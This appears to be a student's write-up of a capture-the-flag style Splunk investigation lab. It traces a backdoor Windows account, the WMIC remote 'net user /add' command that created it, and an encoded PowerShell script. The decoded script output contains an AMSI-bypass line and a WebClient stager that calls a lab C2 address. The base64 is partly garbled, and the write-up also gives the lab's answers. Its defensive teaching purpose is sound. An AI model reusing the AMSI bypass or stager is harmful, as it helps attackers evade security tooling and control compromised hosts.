

# Investigating with Splunk

February 15, 2023 9:08 PM

## • Task 1: Investigating with Splunk

SOC Analyst **Johnny** has observed some anomalous behaviours in the logs of a few windows machines. It looks like the adversary has access to some of these machines and successfully created some backdoor. His manager has asked him to pull those logs from suspected hosts and ingest them into Splunk for quick investigation. Our task as SOC Analyst is to examine the logs and identify the anomalies.

▶ Start Machine

- To learn more about Splunk and how to investigate the logs, look at the rooms [splunk101](#) and [splunk201](#).

### Room Machine

Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP **Machine IP:** **10.10.179.34**. You can visit this IP from the [VPN](#) or the [Attackbox](#). The machine will take up to 3-5 minutes to start. All the required logs are ingested in the index **main**.

How many events were collected and ingested in the index **main**?

○

12256

1

index=main

✓ 12,256 events (before 7/5/24 12:49:11.000 AM) No Event Sampling ▼

On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?

○

Answer format: \*\*\*\*\*

### Question Hint

Narrow down based on Event ID

- EventID 4720 is used for user creation according to windows User Access Management.

1

index=main EventID="4720"

✓ 1 event (before 7/5/24 2:26:28.000 AM)

Message: A user account was created.

Subject:

Security ID: S-1-5-21-4020993649-1037605423-417876593-1104  
Account Name: James  
Account Domain: Cybertees  
Logon ID: 0x551686

□

New Account:

Security ID: S-1-5-21-1969843730-2406867588-1543852148-1000  
Account Name: Alberto  
Account Domain: WORKSTATION6

Attributes:

SAM Account Name: Alberto  
Display Name: <value not set>

On one of the infected hosts, the adversary was successful in creating a backdoor user. What is the new username?

▪

Alberto

On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

○

Answer format: .....

- Left pane > category > registry object added or deleted

1

index=main Category="Registry object added or deleted (rule: RegistryEvent)" Alberto

✓ 2 events (before 7/5/24 2:33:40.000 AM) No Event Sampling ▼

- We used the word Alberto in search query to narrow down our search as this new user was of course related to any registry modification.

```

Message: Registry object added or deleted:
RuleName: -
EventType: CreateKey
UtcTime: 2022-02-14 12:06:02.420
ProcessGuid: {83d0c8c3-43ca-5f5f-0c00-00000000400}
ProcessId: 740
Image: C:\windows\system32\lsass.exe
TargetObject: HKLM\SAM\SAM\Domains\Account\Users\Names\Alberto
Opcode: Info

```

On the same host, a registry key was also updated regarding the new backdoor user. What is the full path of that registry key?

```

HKLM\SAM\SAM\Domains\Account\Users\Names\Alberto

```

Examine the logs and identify the user that the adversary was trying to impersonate.

○ Answer format: \*\*\*\*\*

### User

4 Values, 0.971% of events

### Reports

Top values Top values by time

Events with this field

### Values

NT AUTHORITY\SYSTEM

Cybertees\Alberto

NT AUTHORITY\NETWORK SERVICE

Cybertees\James

- Trying to impersonate user Alberto in Cybertees domain.

Examine the logs and identify the user that the adversary was trying to impersonate.

```

Alberto

```

What is the command used to add a backdoor user from a remote computer?

○ Answer format: ".:\*\*\*\*\*. /\*\*\*\*\*.\*\*\*\*\*"

- We can add the word net user to find all events related to this new user but we can't narrow down our search. We also used the Alberto user but couldn't find any command that created a user.

```

1 index=main User="Cybertees\\James"
✓ 5 events (before 7/5/24 2:46:42.000 AM)

```

- Attacker compromised the user James and impersonated the Alberto to elevate privilege.

CommandLine

4 Values, 80% of events

Selected Yes No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%
"C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1"	1	25%
C:\windows\system32\net1 user /add Alberto paw0rd1	1	25%
\\?\C:\windows\system32\conhost.exe 0xffffffff -ForceV1	1	25%
net user /add Alberto paw0rd1	1	25%

5/11/22 { [-]

10:32:18.000 PM

@version: 1

Category: Process Creation

Channel: Security

CommandLine: "C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1"

EventID: 4688

EventReceivedTime: 2022-02-14 08:06:03

EventTime: 2022-02-14 08:06:01

EventType: AUDIT\_SUCCESS

ExecutionProcessID: 4

Hostname: James.browne

Keywords: -9214364837600035000

MandatoryLabel: S-1-16-12288

Message: A new process has been created.

What is the command used to add a backdoor user from a remote computer?

C:\windows\System32\Wbem\WMIC.exe" /node:WORKSTATION6 process call create "net user /add Alberto paw0rd1

How many times was the login attempt from the backdoor user observed during the investigation?

0

1 index=main Alberto

✓ 14 events (before 7/5/24 :

Category

7 Values, 100% of events

Selected Yes No

Reports

Top values

Top values by time

Rare values

Events with this field

Values	Count	%
Process Create (rule: ProcessCreate)	4	28.571%
Process Creation	3	21.428%
Registry object added or deleted (rule: RegistryEvent)	2	14.286%
User Account Management	2	14.286%
Executing Pipeline	1	7.143%
Pipeline Execution Details	1	7.143%
Registry value set (rule: RegistryEvent)	1	7.143%

- There is not a single log in activity or category.

○

```
1 index=main powershell
```

PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?

```
1 index=main EventID=4103
```

PowerShell logging is enabled on this device. How many events were logged for the malicious PowerShell execution?

An encoded Powershell script from the infected host initiated a web request. What is the full URL?

```
1 index=main powershell
```

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### From Base64

Alphabet  
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

### Decode text

Encoding  
UTF-16LE (1200)

```
[SQBGACgAJABQAFMAVgB1AHTAUwB7AG8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHTAUwB7AE8ATgAuAE0AYQBKAEB8AUgAgAC0ARwB1JACAAmApAHsAJAAxAD
EAQgBEADgAPQBBAHTAZQBGAF0ALgBBAFMAcwb1AE8AYgBsAHKALgBHAGUADABUAHKUABFACgAJwbTAKKAcwb0AGUABQAUAE8AYQB8UAGAZwB1AG8AZB8U
AHQALgBBAHUADABYAG8AYQB8AGkAbwBUAC4AVQB8AGkABABZACCAXQAUACTARwBFQFQARGB7AGUAYABsAQQAIGa0AcAYvBhAGMAAB1AGQARwByAG8AdQ
BwFAAAbwBsAGkAYwBsAFMAZQB8AHQAQ8UAGcACwAnACwAJwBOACCAKwAnAG8ABgBQAHUAYgBSAGkAYwAsAFMAABH8AHQAQ8BJACCQA7AEKARGA0ACQA
MQAXAETAZAA4ACKAeWAKAEAEQA44EUAMQA9ACQAMQAxAETARAA4AC4ARwB1AHQAVgBhAEwAVQBFACgAJABUAFUABABMACKADwB7AGYKAAKAEAEQA4AG
UAMQB8BACcAUwB7JHTAAQ8wBhAQAGcAnACsAJwBSAG8AYwB7AEwABwBnAGCAQ8UAGcAJwBDACkAEwAKAEAEQA4AGUAMQB8BACcAUwB7JHTAAQ8wBhAQAGcAn
ACsAJwBSAG8AYwB7AEwABwBnAGCAQ8UAGcAJwBDACkAEwAKAEAEQA4AGUAMQB8BACcAJwBDACkAEwAKAEAEQA4AGUAMQB8BACcAJwBDACkAEwAKAEAEQA4AG
AnAF8APQAwADsAJABADEAOAB1ADEAWAnAFMAVwByAGKACAB0AE1AJwArACABABvAGMAAwBMAG8AZwBnAGkABgBnACcAXQB8BACcARQB8vAEwABAB1AG
UwB7JHTAAQ8wBhAQAGcB8SAG8AYwB7AEKAbgB2AG8AYwBhAHQAQ8vAG4ATABvAGcAZwBpAG4AZwAnAF8APQAwAHB8AB2AEAEATAA9AFsAQwBvAEwABAB1AG
HADABpAE8ATgBTAC4ARwB1AE4ARQB8YAGKACQAwAEQA4SQ8JAFQAAQBPAG4AQ8BSAFKAWwB7AHQACgBJAE4ARwAsAFMAEQ8zAFQARQBtAC4ATwBCAEoARQBj
AHQAXQB8DADoRgBUAGUAVuA0ACkAQwAKAHYAQ8BMAC4AQ8BKAQAKAAnAEUA8vBhAGIABAB1AFMAVwByAGKACAB0AE1AJwArACABABvAGMAAwBMAG8AZw
RnAGkAbgBnACcAlAAwACkA0wAKAFYA0DRMAC4AQ8RkAFQAKAAnAF1Iah8RhAGTAbAR1AFMAVwByAGKACARRAEFTAbARvAGMAAwR7AG4AdRvAGMAVDRRAgKA
RRC 5094 1
```

### Output

```
COLLECTIONS.GenerateHashSet($iring)))$Ref=[Net].Assembly.GetType('System.Management.Automation.AMSI + Utils ');
$Ref.GetField('amsiInit'+ailed','NonPublic,Static').SetValue($Null,$true);;
[System.Net.ServicePointManager]::Expect100Continue=$7a6ed-New-Object System.Net.WebClient;$u='Mozilla/5.0 (Windows
NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$ser=$([Text.Encoding]::Unicode.GetString([ColVerT]::FromBase64String('aB0AHQAcAA6AC8ALwAXADAALgAXADAALgAXADAALgA1AA=
')));$t='/news.php';$7a6ed.Headers.Add('User-Agent',$u);$7a6ed.Proxy=[System.Net.WebRequest]::DefaultWebProxy;
$7a6ed.Proxy.Credentials = [System.Net.Credentials]::DefaultNetworkCredentials;$Script.Proxy = $7a6ed.Proxy;
```

### From Base64

Alphabet  
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

### Decode text

Encoding  
UTF-16LE (1200)

```
aB0AHQAcAA6AC8ALwAXADAALgAXADAALgAXADAALgA1AA==
```

### Output

```
http://10.10.10.5
```

### Defang URL

☒ Escape dots
☒ Escape http
☒ Escape ://

Process  
Valid domains a...

```
http://10.10.10.5/news.php
```

### Output

```
hxxp[://]10[.]10[.]10[.]5/news[.]php
```

An encoded Powershell script from the infected host initiated a web request. What is the full URL?

```
hxxp[://]10[.]10[.]10[.]5/news[.]php
```